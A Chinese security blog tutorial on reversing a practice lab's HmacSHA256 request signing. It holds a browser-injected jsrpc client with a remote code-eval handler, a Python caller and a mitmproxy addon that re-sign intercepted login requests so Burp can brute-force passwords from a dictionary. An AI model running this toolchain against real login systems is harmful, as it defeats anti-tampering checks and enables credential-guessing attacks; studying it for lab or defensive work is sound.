文章总结: 本文演示了JS逆向中明文加签的自动加解密技术,通过分析靶场签名算法,使用HmacSHA256对拼接字符串加密,并利用jsrpc在浏览器注入环境注册函数,最后通过Python脚本和mitmproxy实现自动化调用。核心在于理解签名生成逻辑并借助工具实现自动化。 综合评分: 88 文章分类: 渗透测试,WEB安全,安全工具,实战经验
【js逆向】 明文加签自动加解密
原创
暗月大徒弟 暗月大徒弟
moonsec
2026年8月26日 09:00 广东
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
免责声明:本公众号所提供的文字和信息仅供学习和研究使用,不得用于任何非法用途。我们强烈谴责任何非法活动,并严格遵守法律法规。读者应该自觉遵守法律法规,不得利用本公众号所提供的信息从事任何违法活动。本公众号不对读者的任何违法行为承担任何责任。
访问靶场 选择明文加签
查看网络连接
signature 是验签 字符串 用于防篡改
分析 signature 的加密过程
dataToSign 是账号、密码、随机值、当前时间 拼接 接着通过 HmacSHA256进行编码
const dataToSign = username + password + nonce + timestamp;
const signature = CryptoJS.HmacSHA256(dataToSign, secretKey)
转换转为hex
重新封包
timestamp password可以变 其他不变 最后通过 CryptoJS.HmacSHA256(dataToSign, secretKey)生成签名即可。
使用jsrpc 在浏览器控制台上 黏贴JsEnv_Dev.js代码
var rpc_client_id, HlClient = function (wsURL) {
this.wsURL = wsURL;
this.handlers = {
_execjs: function (resolve, param) {
try {
var fn = new Function('return (async () => { return (' + param + ') })()');
var result = fn();
if (result && typeof result.then === 'function') {
result.then(function(res) {
resolve(res !== undefined ? res : "执行成功(无返回值)");
}).catch(function(err) {
resolve("执行错误: " + (err.message || err));
});
} else {
resolve(result !== undefined ? result : "执行成功(无返回值)");
}
} catch (err) {
resolve("语法错误: " + (err.message || err));
}
}
};
this.socket = undefined;
if (!wsURL) {
throw new Error('wsURL can not be empty!!')
}
this.connect()
}
HlClient.prototype.connect = function () {
if (this.wsURL.indexOf("clientId=") === -1 && rpc_client_id) {
this.wsURL += "&clientId=" + rpc_client_id
}
console.log('begin of connect to wsURL: ' + this.wsURL);
var _this = this;
try {
this.socket = new WebSocket(this.wsURL);
this.socket.onmessage = function (e) {
_this.handlerRequest(e.data)
}
} catch (e) {
console.log("connection failed,reconnect after 10s");
setTimeout(function () {
_this.connect()
}, 10000)
}
this.socket.onclose = function () {
console.log('rpc已关闭');
setTimeout(function () {
_this.connect()
}, 10000)
}
this.socket.addEventListener('open', (event) => {
console.log("rpc连接成功");
this._reportActions();
});
this.socket.addEventListener('error', (event) => {
console.error('rpc连接出错,请检查是否打开服务端:', event.error);
})
};
HlClient.prototype.send = function (msg) {
this.socket.send(msg)
}
HlClient.prototype.regAction = function (func_name, func) {
if (typeof func_name !== 'string') {
throw new Error("an func_name must be string");
}
if (typeof func !== 'function') {
throw new Error("must be function");
}
console.log("register func_name: " + func_name);
this.handlers[func_name] = func;
this._reportActions();
return true
}
HlClient.prototype._reportActions = function () {
var actions = Object.keys(this.handlers);
if (this.socket && this.socket.readyState === WebSocket.OPEN) {
this.send(JSON.stringify({
"action": "_registerActions",
"message_id": "",
"response_data": JSON.stringify(actions)
}));
}
}
HlClient.prototype.handlerRequest = function (requestJson) {
var _this = this;
try {
var result = JSON.parse(requestJson)
} catch (error) {
console.log("请求信息解析错误", requestJson);
return
}
if (result["registerId"]) {
rpc_client_id = result['registerId']
return
}
if (!result['action'] || !result["message_id"]) {
console.warn('没有方法或者消息id,不处理');
return
}
var action = result["action"], message_id = result["message_id"]
var theHandler = this.handlers[action];
if (!theHandler) {
this.sendResult(action, message_id, 'action没找到');
return
}
try {
if (!result["param"]) {
const async_result = theHandler(function (response) {
_this.sendResult(action, message_id, response);
})
if (async_result && typeof async_result.then === "function") {
async_result.catch(e => {
_this.sendResult(action, message_id, "" + e);
});
}
return
}
var param = result["param"]
try {
param = JSON.parse(param)
} catch (e) {
}
theHandler(function (response) {
_this.sendResult(action, message_id, response);
}, param)
} catch (e) {
console.log("error: " + e);
_this.sendResult(action, message_id, "" + e);
}
}
HlClient.prototype.sendResult = function (action, message_id, e) {
if (typeof e === 'object' && e !== null) {
try {
e = JSON.stringify(e)
} catch (v) {
console.log(v)
}
}
this.send(JSON.stringify({"action": action, "message_id": message_id, "response_data": e}));
}
打开终端
注入环境
var demo = new HlClient("ws://127.0.0.1:12080/ws?group=zzz");
注册函数
demo.regAction("sgin", function (resolve,param) {
const username = 'admin'
const password = param
const nonce = 'zqqz5xi8zfi'
const timestamp = Math.floor(Date.now() / 1000);
const secretKey = "be56e057f20f883e";
const dataToSign = username + password + nonce + timestamp;
const signature = CryptoJS.HmacSHA256(dataToSign, secretKey)
.toString(CryptoJS.enc.Hex);
resolve({
signature: signature,
timestamp: timestamp
});
})
成功注册函数
编写python脚本进行调用
import requests,json
def sgin(password):
url = "http://127.0.0.1:12080/go"
params = {
"group": "zzz",
"action": "sgin",
"param": password
}
resp = requests.get(url, params=params, timeout=5)
resp_json = resp.json()
raw_data = resp_json["data"]
if isinstance(raw_data, str):
data = json.loads(raw_data)
else:
data = raw_data
return data["signature"], data["timestamp"]
print(sgin("123456"))
运行正常
编写 mitmproxy利用脚本
import mitmproxy
import requests
import json
from mitmproxy import ctx
def sgin(password):
url = "http://127.0.0.1:12080/go"
params = {
"group": "zzz",
"action": "sgin",
"param": password
}
resp = requests.get(url, params=params, timeout=5)
ctx.log.info(f"[sgin] http status:{resp.status_code}, resp text:{resp.text}")
resp_json = resp.json()
raw_data = resp_json["data"]
ctx.log.info(f"[sgin] raw_data类型:{type(raw_data)}, raw_data:{raw_data}")
if isinstance(raw_data, str):
data = json.loads(raw_data)
else:
data = raw_data
return data["signature"], data["timestamp"]
class dataencrypt:
def request(self, flow: mitmproxy.http.HTTPFlow):
target_path = "/encrypt/signdata.php"
ctx.log.info(f"[debug] path={flow.request.path}, method={flow.request.method}")
real_path = flow.request.path.split('?')[0]
if flow.request.method == "POST" and real_path == target_path:
ctx.log.info("[debug] 命中目标接口!")
try:
ctx.log.info(f"[debug]原始请求text={flow.request.text}")
ctx.log.info(f"[debug]content-type={flow.request.headers.get('Content-Type','')}")
ct = flow.request.headers.get("Content-Type","")
if "application/json" not in ct:
ctx.log.error("[error]不是json请求!本脚本只处理json")
return
body_dict = json.loads(flow.request.text)
pwd = body_dict.get("password")
ctx.log.info(f"[debug]取出password={pwd}")
new_sig, new_ts = sgin(pwd)
ctx.log.info(f"[debug]拿到 new_sig={new_sig}, new_ts={new_ts}")
body_dict["timestamp"] = new_ts
body_dict["signature"] = new_sig
ctx.log.info(f"[debug]修改后的dict={body_dict}")
flow.request.text = json.dumps(body_dict)
ctx.log.info(f"[debug]最终发包body={flow.request.text}")
except Exception as e:
import traceback
err_msg = traceback.format_exc()
ctx.log.error(f"[exception]异常:\n{err_msg}")
addons = [dataencrypt()]
执行命令
mitmproxy -p 9090 -s mitmproxy_sgin.py
在burpsuite上设置上游代理
执行成功
提交到攻击器 设置字典进行测试
需要本文相关工具
关注公众号回复【20260826】
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:moonsec 暗月大徒弟 暗月大徒弟《【js逆向】 明文加签自动加解密》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论